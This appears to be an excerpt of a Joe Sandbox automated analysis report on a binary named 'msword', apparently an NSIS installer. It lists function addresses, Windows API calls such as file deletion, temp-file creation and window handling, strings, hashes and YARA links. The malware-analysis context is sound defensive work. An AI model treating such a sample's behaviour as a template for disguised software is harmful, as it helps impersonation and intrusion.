                                  control_flow_graph 805 405eab-405eb7 806 405eb8-405eec GetTickCount GetTempFileNameW 805->806 807 405efb-405efd 806->807 808 405eee-405ef0 806->808 810 405ef5-405ef8 807->810 808->806 809 405ef2 808->809 809->810
                                  APIs
                                  • GetTickCount.KERNEL32 ref: 00405EC9
                                  • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CountFileNameTempTick
                                  • String ID: nsa
                                  • API String ID: 1716503409-2209301699
                                  • Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
                                  • Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
                                  • Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
                                  • Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98
                                  Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 811 402175-40218b call 401446 * 2 816 402198-40219d 811->816 817 40218d-402197 call 4062cf 811->817 818 4021aa-4021b0 EnableWindow 816->818 819 40219f-4021a5 ShowWindow 816->819 817->816 821 4030e3-4030f2 818->821 819->821
                                  APIs
                                  • ShowWindow.USER32(00000000,00000000), ref: 0040219F
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  • EnableWindow.USER32(00000000,00000000), ref: 004021AA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Window$EnableShowlstrlenwvsprintf
                                  • String ID: HideWindow
                                  • API String ID: 1249568736-780306582
                                  • Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
                                  • Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
                                  • Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
                                  • Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D
                                  Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
                                  • SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend
                                  • String ID:
                                  • API String ID: 3850602802-0
                                  • Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
                                  • Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
                                  • Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
                                  • Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C
                                  Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
                                  • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: File$AttributesCreate
                                  • String ID:
                                  • API String ID: 415043291-0
                                  • Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
                                  • Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
                                  • Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
                                  • Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15
                                  Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
                                  • SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: AttributesFile
                                  • String ID:
                                  • API String ID: 3188754299-0
                                  • Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
                                  • Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
                                  • Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
                                  • Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19
                                  Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: FileRead
                                  • String ID:
                                  • API String ID: 2738559852-0
                                  • Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
                                  • Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
                                  • Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
                                  • Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4
                                  Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
                                    • Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
                                    • Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
                                    • Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF
                                  • CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Char$Next$CreateDirectoryPrev
                                  • String ID:
                                  • API String ID: 4115351271-0
                                  • Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
                                  • Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
                                  • Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
                                  • Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE
                                  Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend
                                  • String ID:
                                  • API String ID: 3850602802-0
                                  • Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
                                  • Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
                                  • Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
                                  • Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C
                                  Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: FilePointer
                                  • String ID:
                                  • API String ID: 973152223-0
                                  • Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
                                  • Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
                                  • Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
                                  • Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C
                                  Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend
                                  • String ID:
                                  • API String ID: 3850602802-0
                                  • Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
                                  • Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
                                  • Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
                                  • Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09
                                  Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                  Download Yara Rule
                                  APIs
                                  • KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CallbackDispatcherUser
                                  • String ID:
                                  • API String ID: 2492992576-0
                                  • Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
                                  • Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
                                  • Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
                                  • Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

                                  Non-executed Functions

                                  Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDlgItem.USER32(?,000003F9), ref: 004049BF
                                  • GetDlgItem.USER32(?,00000408), ref: 004049CC
                                  • GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
                                  • LoadBitmapW.USER32(0000006E), ref: 00404A2E
                                  • SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
                                  • ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
                                  • SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
                                  • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
                                  • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
                                  • DeleteObject.GDI32(?), ref: 00404AA5
                                  • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
                                  • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
                                  • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
                                  • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
                                  • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
                                  • ShowWindow.USER32(?,00000005), ref: 00404BFB
                                  • SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
                                  • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
                                  • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
                                  • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
                                  • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
                                  • ImageList_Destroy.COMCTL32(?), ref: 00404DC8
                                  • GlobalFree.KERNEL32(?), ref: 00404DD8
                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
                                  • SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
                                  • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
                                  • ShowWindow.USER32(?,00000000), ref: 00404F75
                                  • GetDlgItem.USER32(?,000003FE), ref: 00404F80
                                  • ShowWindow.USER32(00000000), ref: 00404F87
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                  • String ID: $ @$M$N
                                  • API String ID: 1638840714-3479655940
                                  • Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
                                  • Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
                                  • Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
                                  • Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58
                                  Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
                                  • lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
                                  • lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
                                  • lstrlenW.KERNEL32(?), ref: 00406D58
                                  • FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
                                  • FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
                                  • FindClose.KERNEL32(?), ref: 00406E5F
                                  Strings
                                  • RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
                                  • ptF, xrefs: 00406D1A
                                  • Delete: DeleteFile("%s"), xrefs: 00406DE8
                                  • \*.*, xrefs: 00406D2F
                                  • RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
                                  • RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
                                  • RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
                                  • Delete: DeleteFile failed("%s"), xrefs: 00406E29
                                  • Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                  • String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
                                  • API String ID: 2035342205-1650287579
                                  • Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
                                  • Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
                                  • Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
                                  • Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE
                                  Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDlgItem.USER32(?,000003F0), ref: 00404525
                                  • IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
